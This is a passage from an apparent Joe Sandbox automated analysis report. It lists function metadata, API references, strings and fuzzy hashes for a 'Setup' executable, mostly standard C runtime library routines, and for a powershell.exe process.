Instruction Fuzzy Hash: D7F03031A1E64281FB547BA7E894379A3A0AF48740F895135E58F45174CEACD488C320

Function 00007FF7AEEA6CBC Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA6CE0
CreateThread.KERNEL32 ref: 00007FF7AEEA6D21
GetLastError.KERNEL32 ref: 00007FF7AEEA6D2F
CloseHandle.KERNEL32 ref: 00007FF7AEEA6D4C
FreeLibrary.KERNEL32 ref: 00007FF7AEEA6D5B

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 64698e641f6a83f300df68712df761b31ff8641ecb0b3257fc353e06f2765ece
Instruction ID: 0080562d6c745d812a5c13de86376a00c4b58040f58619e3a6fb69ae75f6bbe5
Opcode Fuzzy Hash: 64698e641f6a83f300df68712df761b31ff8641ecb0b3257fc353e06f2765ece
Instruction Fuzzy Hash: C0217C35A0E74382FE14BB63A410179F2A0AF85BC5F8A4539DE4D03765DFBDE4008620

Function 00007FF7AEEB811C Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7AEEB8144
_set_statfp.LIBCMT ref: 00007FF7AEEB815F
_set_statfp.LIBCMT ref: 00007FF7AEEB817B
_set_statfp.LIBCMT ref: 00007FF7AEEB81B7

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: 0405e61dd00d9c56cf1b0b6d32bc73b856b6e5b88f478ad3c05b0c4f9a3aef74
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: 9C115432E1FAC302F664356AD9463B593416F94370EDA8734E6FE063F7CEACA8404568

Function 00007FF7AEEAA8A8 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 487COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEAA8DB

Strings

-, xrefs: 00007FF7AEEAA93D

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -
API String ID: 3215553584-2547889144
Opcode ID: 5d8b498ff22d46dd9de763e561541730bfc51a7d6dba9380d87361669e0e64bf
Instruction ID: 9701904dc711a2006847bd309c2f46fdecbb80d10f064c3b79cf7e9badf63140
Opcode Fuzzy Hash: 5d8b498ff22d46dd9de763e561541730bfc51a7d6dba9380d87361669e0e64bf
Instruction Fuzzy Hash: CF12A435E0F34346FB64BA16D0541B8F296EB40766FDA813ED69D472E0DFACE5A08324

Function 00007FF7AEEB09D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB0C79

Part of subcall function 00007FF7AEEAA3E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEAA401

Strings

ccs, xrefs: 00007FF7AEEB0BC5
UTF-8, xrefs: 00007FF7AEEB0BFC
UTF-16LEUNICODE, xrefs: 00007FF7AEEB0C1D

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4e9d8a715f4867a031d96218218279292efbbfaec0b26f01f49837f156af5202
Instruction ID: d5342cca56012f731e5d3726064e2784c8bbea78be124b544861d1394753d7bd
Opcode Fuzzy Hash: 4e9d8a715f4867a031d96218218279292efbbfaec0b26f01f49837f156af5202
Instruction Fuzzy Hash: 2681A332D0E242C9F7757A2A82B0278AA909F15748FD7D635CA8E432F5DBDDB8418721

Function 00007FF7AEEB18CC Relevance: 6.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7AEEB19B9
_get_daylight.LIBCMT ref: 00007FF7AEEB19CA
_get_daylight.LIBCMT ref: 00007FF7AEEB19DB
_isindst.LIBCMT ref: 00007FF7AEEB1AA1

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: cf2a363d9d9d60bb1fd2b7a7062aad5e5d6dc4d724fe27cc3b8d53810e30cd48
Instruction ID: 642c5f9135eee2d0081bff8d70664e255fc846deb2b43bcebbe62af593516202
Opcode Fuzzy Hash: cf2a363d9d9d60bb1fd2b7a7062aad5e5d6dc4d724fe27cc3b8d53810e30cd48
Instruction Fuzzy Hash: 7B514B72F0E1524AFB14FB6698412BCB3A5AB003A8FD18235DE5E13AF5CB78B4418710

Function 00007FF7AEEA9094 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA90D5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA9155
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA91A9
_get_daylight.LIBCMT ref: 00007FF7AEEA9201

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 287aa2f55fa63f36cf1cebc8650c9ead072f44a6b5d348b2231f5c0341a06890
Instruction ID: 7c4678db0de862a0ec58d4b79164477a33645109c70c922ae72fb6c69d1fc04e
Opcode Fuzzy Hash: 287aa2f55fa63f36cf1cebc8650c9ead072f44a6b5d348b2231f5c0341a06890
Instruction Fuzzy Hash: A351C632D0E24242F7657926B40937AF5519F50716F9B443CCA4D472F9CEBEEC408671

Function 00007FF7AEEA723C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7AEEA726F
GetFileInformationByHandle.KERNEL32 ref: 00007FF7AEEA72D1
GetLastError.KERNEL32 ref: 00007FF7AEEA7362
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000,00000000,00007FF7AEEA717F), ref: 00007FF7AEEA73AE

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: a45dab95f0394a49ead25b6af34a2d268b91debbe9157e6bb71821f7afc6c7d6
Instruction ID: dc39f26079accc62cc0f04738b88905fc69407b760c5d480bc78bc6602b3310c
Opcode Fuzzy Hash: a45dab95f0394a49ead25b6af34a2d268b91debbe9157e6bb71821f7afc6c7d6
Instruction Fuzzy Hash: 00519E32F096418AFB10FF72D4403BDB7A1AF48B89F528139EE09476A9DFB8D4558360

Function 00007FF7AEE9D6C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEE9D6F6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEE9D8BE

Strings

, xrefs: 00007FF7AEE9D846

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 31a59f69953ad6651beb5c98be7a4087f1f79095f3204978b48eda0e12909333
Instruction ID: d931d9af349c52b710ffa75d0a69b5571292c56fdb9556a1a3d08ed75c963482
Opcode Fuzzy Hash: 31a59f69953ad6651beb5c98be7a4087f1f79095f3204978b48eda0e12909333
Instruction Fuzzy Hash: CD51967290E26286F774BF26804537CFFE5EB45B18F961135E609822B6CFACE485C621

Function 00007FF7AEEAD26C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEAD2AF

Strings

e+000, xrefs: 00007FF7AEEAD354
gfff, xrefs: 00007FF7AEEAD3D1

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: c37ddedde2bab3be3496175dc2ceb09d343c47e7f34a0fbb1c1af0881f238d15
Instruction ID: 7592c30d21ee65983bf21c4eedefd0f4bfd853b44ec127e361b4a71a640338ff
Opcode Fuzzy Hash: c37ddedde2bab3be3496175dc2ceb09d343c47e7f34a0fbb1c1af0881f238d15
Instruction Fuzzy Hash: 63512772B1D7C546F720AB369840369AB91EB40B94F899239D79C87BE6CF7CE444C710

Function 00007FF7AEEB01D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7AEEB02EF
GetLastError.KERNEL32 ref: 00007FF7AEEB0311

Strings

U, xrefs: 00007FF7AEEB029B

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: ab9cbe2d27cd6c4d806ab794c500e1b21e064f73e395fdb04b005935f2142ba3
Instruction ID: 29201d69e1a6138500e9eaacfac33a55f1ad83d5db6456fd31707b67462c3b2e
Opcode Fuzzy Hash: ab9cbe2d27cd6c4d806ab794c500e1b21e064f73e395fdb04b005935f2142ba3
Instruction Fuzzy Hash: A141C93271EA45C2EB50EF66E4543A9A760FB88784F818131EE8D87768DFBCE445C750

Function 00007FF7AEEB1188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7AEEB11C8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7AEEB121A

Strings

:, xrefs: 00007FF7AEEB11DE

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 1245a43c0e49d46155e94f93a110b76d8e9266dffcd96b95bd485c10dde7cbd5
Instruction ID: 9edca5f57f0511ec824c760e79b4adf9bf9c026fd8dab1246511da5646c75846
Opcode Fuzzy Hash: 1245a43c0e49d46155e94f93a110b76d8e9266dffcd96b95bd485c10dde7cbd5
Instruction Fuzzy Hash: 1D21A232A0D68285FB20BB16D04426DB3A2FBC5B44FC68235DACD437A4DFBCE9458661

Function 00007FF7AEEAB854 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7AEEAB88D
CompareStringW.KERNEL32 ref: 00007FF7AEEAB915

Strings

CompareStringEx, xrefs: 00007FF7AEEAB870, 00007FF7AEEAB881

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CompareStringtry_get_function
String ID: CompareStringEx
API String ID: 3328479835-2590796910
Opcode ID: f5173eea797c8fd49a83a6dc5d9afa66535d54e1dc730693d7c807f149fd71c2
Instruction ID: e8ed9ebd80ac2f52899889c3a1aa807047e28141038f7e9728e220164de3f491
Opcode Fuzzy Hash: f5173eea797c8fd49a83a6dc5d9afa66535d54e1dc730693d7c807f149fd71c2
Instruction Fuzzy Hash: BD11303160CB8086E760EB56B44029AB7A5FBC9B94F94413AEECD43B69DF7CD440CB40

Function 00007FF7AEEABAC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7AEEABAF9
LCMapStringW.KERNEL32 ref: 00007FF7AEEABB81

Strings

LCMapStringEx, xrefs: 00007FF7AEEABADC, 00007FF7AEEABAED

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: ed83ab2a8ecbd43abeb41e42fb4b1ae0a53301fcdf6a2ccaf8e3005eed8b5591
Instruction ID: d545fb2831dd791d3e0ef27fb10f9f0239ba39112b680cf751197c9d09cc8f9e
Opcode Fuzzy Hash: ed83ab2a8ecbd43abeb41e42fb4b1ae0a53301fcdf6a2ccaf8e3005eed8b5591
Instruction Fuzzy Hash: 65113E3160CB8186E760EB56B4402AAB7A5FBC9B94F944139EECD43B69DF3CD4508B40

Function 00007FF7AEE97A14 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE97A82

Strings

_JAVA_LAUNCHER_DEBUG, xrefs: 00007FF7AEE97A64
Expanded wildcards: before: "%s" after : "%s", xrefs: 00007FF7AEE97A78

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: wprintf
String ID: Expanded wildcards: before: "%s" after : "%s"$_JAVA_LAUNCHER_DEBUG
API String ID: 3614878089-730970534
Opcode ID: b2a58926cf1f4fb6458666ac0aceca35dec4c9ddd74ffebdec84f0f40e04f2fd
Instruction ID: 674c0eee27f5cab8ad1d0dd8a5731fed21ebe8cc43744a1deb86ad29b838df5b
Opcode Fuzzy Hash: b2a58926cf1f4fb6458666ac0aceca35dec4c9ddd74ffebdec84f0f40e04f2fd
Instruction Fuzzy Hash: 00F04B30B0E65240FD10BB53A9511B9E2909F85BC0FCA8030FD0D0BBA6EEACE5468360

Function 00007FF7AEEB5F6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB5F9C

Strings

:, xrefs: 00007FF7AEEB5FB4

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: :
API String ID: 3215553584-336475711
Opcode ID: c1babc72da362b93fe99a1e6373bb2c622cae6ce3b5b9b1ac86d1823f73ca5e7
Instruction ID: e2fb0f82c2efb56ed6a1d1ec1333fe06681fd5b1cc391154a003db58dc0b912d
Opcode Fuzzy Hash: c1babc72da362b93fe99a1e6373bb2c622cae6ce3b5b9b1ac86d1823f73ca5e7
Instruction Fuzzy Hash: 2501A23191D24782F720BFA2A45227EF3A0EF44304FD24139D98E476A5DFACD5448A24

Function 00007FF7AEEABA5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7AEEABA8D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000030,00007FF7AEEAF5F4,?,?,00000000,00007FF7AEEAF8A9,?,?,00000000,00000000,00008000,00007FF7AEEA9566), ref: 00007FF7AEEABAA7

Strings

InitializeCriticalSectionEx, xrefs: 00007FF7AEEABA81

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 121c09a281781e80721105d7d94d03218607644482c6d9c5b1dc19ab7cdcd2aa
Instruction ID: 4e3a045a31c33d60ddbf856cc91bc25de34a346be7972b601756cafbfb2f3f96
Opcode Fuzzy Hash: 121c09a281781e80721105d7d94d03218607644482c6d9c5b1dc19ab7cdcd2aa
Instruction Fuzzy Hash: 87F0E931B1D74182F7047B47F404065A621BF88B84FC68139E99D03B64CFBCE855C360

Function 00007FF7AEEABA08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7AEEABA31
TlsSetValue.KERNEL32(?,?,00000000,00007FF7AEEACCB2,?,?,00000000,00007FF7AEEA6825,?,?,?,?,00007FF7AEEAA502,?,?,00000001), ref: 00007FF7AEEABA48

Strings

FlsSetValue, xrefs: 00007FF7AEEABA1E

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 075e012088bc129b343f0eccdaf156853e335ef898808b6c750f3ffbbb915d4c
Instruction ID: 113062d7faed93a41bdde804f429561f7b5751dc82102c381da9e02915e40b6d
Opcode Fuzzy Hash: 075e012088bc129b343f0eccdaf156853e335ef898808b6c750f3ffbbb915d4c
Instruction Fuzzy Hash: 6DE06571A1E60292FA047B57F8550B5A222AF88780FCA8136D55D0B2B4CFBDEC94C360

Analysis Process: powershell.exePID: 6728, Parent PID: 6664COMMON

Executed Functions

Function 07141518 Relevance: 5.6, Strings: 4, Instructions: 572COMMON

Download Yara Rule

Strings

4']q, xrefs: 071419B0
4']q, xrefs: 071419BA
4']q, xrefs: 07141860
4']q, xrefs: 07141856

Memory Dump Source

Source File: 00000010.00000002.3774315025.0000000007140000.00000040.00000800.00020000.00000000.sdmp, Offset: 07140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7140000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q
API String ID: 0-1785108022
Opcode ID: f638c7967cbce3fb2a621df1e86581b889debda3d3aee455098aee6b7bdee392
Instruction ID: 52e8bd037fc546f0cd65b11142c160504195495a75e9b7452c9a54d6c41c972a
Opcode Fuzzy Hash: f638c7967cbce3fb2a621df1e86581b889debda3d3aee455098aee6b7bdee392
Instruction Fuzzy Hash: 7F1259B1B4434DAFC7168B68C81076ABBF6AFC2711F1484AAD905CF2C1DB31C995D7A2

Function 071414FD Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3774315025.0000000007140000.00000040.00000800.00020000.00000000.sdmp, Offset: 07140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb296c8f63e8a3335751a078621b94384a0f859cb5312432d0b8c1908605a680
Instruction ID: fa6c6e81bd54b44be8b9e9671f910c974f48b1b0380284e90b38481e5dd50395
Opcode Fuzzy Hash: cb296c8f63e8a3335751a078621b94384a0f859cb5312432d0b8c1908605a680
Instruction Fuzzy Hash: 414104F0B10309BFCB268F5885417AABBB2AB85264F198196D905DF2C1DB31D8D1D7E2

Function 00E841A8 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3747108965.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

